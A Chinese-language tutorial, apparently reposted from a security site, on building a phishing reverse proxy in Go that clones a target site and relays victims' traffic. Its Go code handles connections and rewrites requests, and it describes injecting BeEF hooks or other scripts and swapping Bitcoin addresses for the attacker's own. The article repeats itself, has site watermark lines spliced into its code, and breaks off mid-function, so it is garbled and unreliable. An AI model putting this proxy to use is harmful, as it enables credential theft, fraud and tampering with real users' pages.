在Go中使用反向代理进行网络钓鱼测试
对于一个攻击者来说,要想实施一次网络钓鱼攻击,往往需要做大量的准备工作。例如搭建钓鱼站点,引诱受害者上钩,捕获受害者的登录凭证等。为了避免这些繁杂的过程,本文我将教大家使用Go自动化这些过程。
完整的代码和使用说明可以在Github查看:https://github.com/JonCooperWorks/judas
代理被用来钓鱼TechOnRoad用户。你能看出它们之间的差别吗?
使用代理进行网络钓鱼
我们的代理需要接收来自受害者的请求,并在发送到目标网站之前重写它们。Go有着许多在原生层面对并发编程进行支持的优秀特性,比如Goroutines、Channels等。我们建立了一个简单的TCP侦听器,spawn了一个新的goroutine来处理每个传入的连接和一个goroutine worker来处理请求和响应。结果通过channel从请求处理goroutine传递给worker。
// HTTPTransaction represents a complete request - response flow.
type HTTPTransaction struct {
Request *http.Request
Response *http.Response
}
// PhishingProxy proxies requests between the victim and the target, queuing requests and responses for further processing.
type PhishingProxy struct {
client *http.Client
targetURL *url.URL
responseTransformers []ResponseTransformer
}
func main() {
// ... flag parsing and whatnot
phishingProxy := &PhishingProxy{
client: client,
targetURL: u,
responseTransformers: responseTransformers,
}
transactions := make(chan *HTTPTransaction)
go processTransactions(transactions)
for {
conn, err := server.Accept()
if err != nil {
log.Println("Error when accepting request,", err.Error())
}
go phishingProxy.HandleConnection(conn, transactions)
}
}
由于Go的优秀标准库,请求处理非常简洁。http包提供ReadRequest方法,用于解析从连接中读取数据的请求。
defer conn.Close()
reader := bufio.NewReader(conn)
request, err := http.ReadRequest(reader)
if err != nil {
log.Println("Error parsing request:", err.Error())
return
}
将所有内容解析成Golang http.Request后,我们将它传递给目标。代理需要重写来自受害者的HTTP头,以防止目标站点连接中断,特别是主机头和URL。
request.URL.Scheme = p.targetURL.Scheme
request.URL.Host = p.targetURL.Host
request.Host = p.targetURL.Host
request.RequestURI = ""
resp, err := p.client.Do(request)
if err != nil {
log.Println("Proxy error:", err.Error())
return
}
在代理上使用HTTP客户端,我们发起请求并确保请求成功。
一旦我们得到响应,我们使用传递给代理的ResponseTransformers(后面会详细介绍)转换它,使用标准库httputil.DumpResponse函数将响应转换为字节,并将请求和响应发送给goroutine worker之后处理。
for _, transformer := range p.responseTransformers {
transformer.Transform(resp)
}
modifiedResponse, err := httputil.DumpResponse(resp, true)
if err != nil {
log.Println("Error converting requests to bytes:", err.Error())
return
}
_, err = conn.Write(modifiedResponse)
if err != nil {
log.Println("Error responding to victim:", err.Error())
return
}
transactions
我们通过一个channel将HTTP事务传递给worker,以加快我们的操作进程避免受害者发生某些错误。
只需指向该代理,就能完美克隆目标网站。
// ResponseTransformer modifies a response in any way we see fit, such as inserting extra JavaScript.
type ResponseTransformer interface {
Transform(response *http.Response) error
}
ResponseTransformer允许你修改响应。我们可以用它来任何想做的事情,例如将自定义JavaScript注入到页面,或者将比特币地址替换成我们自己的。这对于那些在默认代理中无法100%工作的网站也很有用。
JavaScriptInjectionTransformer使用GoQuery将HTML响应解析到DOM树中,并使用我们传递给transformer的URL注入脚本标签。我们可以使用它来注入BeEF hook或绕过网站的安全防护。
// JavaScriptInjectionTransformer holds JavaScript filename for injecting into response.
type JavaScriptInjectionTransformer struct {
javascriptURL string
}
// Transform Injects JavaScript into an HTML response.
func (j JavaScriptInjectionTransformer) Transform(response *http.Response) error {
对于一个攻击者来说,要想实施一次网络钓鱼攻击,往往需要做大量的准备工作。例如搭建钓鱼站点,引诱受害者上钩,捕获受害者的登录凭证等。为了避免这些繁杂的过程,本文我将教大家使用Go自动化这些过程。
完整的代码和使用说明可以在Github查看:https://github.com/JonCooperWorks/judas
代理被用来钓鱼TechOnRoad用户。你能看出它们之间的差别吗?
使用代理进行网络钓鱼
我们的代理需要接收来自受害者的请求,并在发送到目标网站之前重写它们。Go有着许多在原生层面对并发编程进行支持的优秀特性,比如Goroutines、Channels等。我们建立了一个简单的TCP侦听器,spawn了一个新的goroutine来处理每个传入的连接和一个goroutine worker来处理请求和响应。结果通过channel从请求处理goroutine传递给worker。
// HTTPTransaction represents a complete request - response flow.
type HTTPTransaction struct {
Request *http.Request
Response *http.Response
}
// PhishingProxy proxies requests between the victim and the target, queuing requests and responses for further processing.
type PhishingProxy struct {
client *http.Client
targetURL *url.URL
responseTransformers []ResponseTransformer
}
func main() {
// ... flag parsing and whatnot
phishingProxy := &PhishingProxy{
client: client,
targetURL: u,
responseTransformers: responseTransformers,
}
transactions := make(chan *HTTPTransaction)
内容来自无奈安全网
go processTransactions(transactions)
for {
conn, err := server.Accept()
if err != nil {
log.Println("Error when accepting request,", err.Error())
}
go phishingProxy.HandleConnection(conn, transactions)
}
}
由于Go的优秀标准库,请求处理非常简洁。http包提供ReadRequest方法,用于解析从连接中读取数据的请求。
defer conn.Close()
reader := bufio.NewReader(conn)
request, err := http.ReadRequest(reader)
if err != nil {
log.Println("Error parsing request:", err.Error())
return
}
将所有内容解析成Golang http.Request后,我们将它传递给目标。代理需要重写来自受害者的HTTP头,以防止目标站点连接中断,特别是主机头和URL。
request.URL.Scheme = p.targetURL.Scheme
request.URL.Host = p.targetURL.Host
request.Host = p.targetURL.Host
request.RequestURI = ""
resp, err := p.client.Do(request) 本文来自无奈人生安全网
if err != nil {
log.Println("Proxy error:", err.Error())
return
}
在代理上使用HTTP客户端,我们发起请求并确保请求成功。
一旦我们得到响应,我们使用传递给代理的ResponseTransformers(后面会详细介绍)转换它,使用标准库httputil.DumpResponse函数将响应转换为字节,并将请求和响应发送给goroutine worker之后处理。
for _, transformer := range p.responseTransformers {
transformer.Transform(resp)
}
modifiedResponse, err := httputil.DumpResponse(resp, true)
if err != nil {
log.Println("Error converting requests to bytes:", err.Error())
return
}
_, err = conn.Write(modifiedResponse)
if err != nil {
log.Println("Error responding to victim:", err.Error())
return
}
transactions
我们通过一个channel将HTTP事务传递给worker,以加快我们的操作进程避免受害者发生某些错误。
只需指向该代理,就能完美克隆目标网站。
// ResponseTransformer modifies a response in any way we see fit, such as inserting extra JavaScript.
copyright 无奈人生
type ResponseTransformer interface {
Transform(response *http.Response) error
}
ResponseTransformer允许你修改响应。我们可以用它来任何想做的事情,例如将自定义JavaScript注入到页面,或者将比特币地址替换成我们自己的。这对于那些在默认代理中无法100%工作的网站也很有用。
JavaScriptInjectionTransformer使用GoQuery将HTML响应解析到DOM树中,并使用我们传递给transformer的URL注入脚本标签。我们可以使用它来注入BeEF hook或绕过网站的安全防护。
// JavaScriptInjectionTransformer holds JavaScript filename for injecting into response.
type JavaScriptInjectionTransformer struct {
javascriptURL string
}
// Transform Injects JavaScript into an HTML response.
func (j JavaScriptInjectionTransformer) Transform(response *http.Response) error {
无奈人生安全网